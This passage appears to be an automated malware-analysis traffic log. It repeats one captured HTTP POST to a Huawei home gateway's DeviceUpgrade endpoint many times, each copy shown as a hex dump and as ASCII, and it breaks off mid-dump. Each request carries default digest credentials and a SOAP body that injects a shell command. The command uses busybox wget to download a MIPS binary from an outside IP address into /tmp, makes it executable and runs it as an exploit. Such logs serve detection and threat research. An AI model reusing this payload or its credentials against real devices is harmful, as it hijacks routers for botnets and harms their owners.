55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 